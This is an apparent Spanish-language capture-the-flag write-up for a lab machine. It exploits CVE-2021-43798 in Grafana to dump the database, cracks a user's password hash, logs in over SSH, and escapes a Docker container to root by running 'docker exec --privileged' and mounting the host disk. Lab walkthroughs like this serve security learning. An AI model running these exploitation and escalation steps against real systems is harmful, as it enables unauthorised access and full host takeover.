Al entrar encontramos el panel de login de Grafana, con información acerca de la versión específica justo abajo del todo.
Si buscamos las vulnerabilidades de Grafana v8.0.0, daremos con el CVE-2021-43798 y el CVE-2021-43815, que permiten que un atacante sin autenticar lea archivos locales arbitrarios. Hay una explicación en este poc, que es el que vamos a usar.
1
2
3
4
5
6
$ go run exploit.go -target http://data.htb:3000 -dump-database -output grafana.db
CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth)Made by Tay (https://github.com/taythebot)[INFO] Exploiting target http://data.htb:3000
[INFO] Successfully exploited target http://data.htb:3000
[INFO] Succesfully saved output to file grafana.db
Si echamos un vistazo, veremos que user es la tabla que guarda las credenciales, así que vamos a dumpear sus hashes.
1
2
3
4
5
6
$ sqlite3 grafana.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help"for usage hints.
sqlite> select login,email,password,salt from user;
admin | admin@localhost| 7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8 | YObSoLj55S
boris | boris@data.vl | dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8 | LCBhdtJWjl
Tenemos los hashes de dos usuarios junto con sus salts. Grafana usa HMAC-SHA256 con 10.000 iteraciones. Tras buscar un poco encuentro un script que permite pasar la info que tenemos al formato que requiere hashcat.
Encontramos la contraseña beautiful1 de boris, ahora probamos a iniciar sesión por SSH:
1
2
3
4
5
6
7
8
$ ssh boris@data.htb
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
boris@data.htb's password:
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 5.4.0-1103-aws x86_64)boris@data:~$
Nada más entrar, miramos privilegios sudo y encontramos esto:
1
2
3
4
5
6
boris@data:~$ sudo -l
Matching Defaults entries for boris on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User boris may run the following commands on localhost:
(root) NOPASSWD: /snap/bin/docker exec *
boris puede ejecutar /snap/bin/docker exec con cualquier argumento y como root. Ahora bien, la limitación de esto es que normalmente, la escalada de privilegios con una regla así consiste en primero, crear un container que tenga montado el FS del host, y luego, entrar al container como root, teniendo así privilegios de root sobre todo el FS del host.
El problema aquí es que con /snap/bin/docker execno podemos iniciar containers nuevos (con puntos de montura arbitrarios), solo ejecutar cosas en los que ya están iniciados.
De todas formas, esto sí permite a boris, por ejemplo, entrar a un container en ejecución con un shell como root:
Y, todavía más importante, el flag --privileged apaga bastantes de las medidas de seguridad que abstraen al container y bloquean lo que puede y no puede hacer un usuario (root o no) dentro del container, como por ejemplo acceder a discos reales (como veremos más adelante, p.ej /dev/sda1) y poder montarlos (con mount).
Antes de nada, tenemos que ver qué contenedores hay ejecutándose y posiblemente encontrar un ID.
Aquí podemos ver el ID de un container específico: e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81.
Y con él podemos entrar como root al container:
1
2
3
boris@data:~$ sudo /snap/bin/docker exec --privileged -u 0 -it e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 /bin/bash
bash-5.1# whoami
root # pero en el container
Ahora bien, esto sirve de poco si el container no tiene acceso a nada de fuera. La idea sería que, si el container tuviese montado el FS del host, y fuésemos root en el container, entonces seríamos root en el host.
Como no podemos ver si tiene algo montado directamente, podemos montar un disco (el disco con la partición / del host) a la fuerza en el container. Para ello, primero tenemos que ubicar dicho disco.
1
2
3
4
5
6
7
8
9
10
# En el hostboris@data:~$ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
loop0 7:0 0 42.2M 1 loop /snap/snapd/14066
loop1 7:1 0 116.6M 1 loop /snap/docker/1125
loop2 7:2 0 55.5M 1 loop /snap/core18/2253
loop3 7:3 0 25M 1 loop /snap/amazon-ssm-agent/4046
sda 8:0 0 6G 0 disk
├─sda1 8:1 0 5G 0 part /
└─sda2 8:2 0 1023M 0 part [SWAP]
Vemos que sda1, es decir, /dev/sda1, es el disco con la partición montada en /. Ese disco es el que vamos a intentar montar en el container.
Para ello, entramos de nuevo al container y tratamos de montar el disco.
1
2
3
4
5
6
7
boris@data:~$ sudo /snap/bin/docker exec --privileged -u 0 -it e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 /bin/bash
bash-5.1# ls /dev/sda* # Vemos si existen los discos dentro del container/dev/sda /dev/sda1 /dev/sda2 # Sí existen, es buena señalbash-5.1# mkdir /mnt/rootfs # Creamos el punto de monturabash-5.1# mount /dev/sda1 /mnt/rootfs/ # Ahora montamos el disco
Una vez montado, ya lo tenemos todo hecho. Simplemente queda hacer chroot.
1
2
3
4
5
6
bash-5.1# chroot /mnt/rootfs/
groups: cannot find name for group ID 11To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root"for details.
root@e6ff5b1cbc85:/#
OS: Linux | Dificultad: Medium | Conceptos: Fuzzing de vhosts, RCE por deserialización insegura en pdfminer.six, escape de contenedor Docker a través de directorios compartidos con el host, Path Traversal en servicio interno, robo de claves SSH, escalada de privilegios por deserialización insegura en checkpoints de PyTorch/MONAI
OS: Linux | Dificultad: Easy | Conceptos: Enumeración de vhosts, Reutilización de credenciales, Authenticated RCE, Análisis de código fuente, Path Traversal, Timers de Systemd, Creación de objetos Git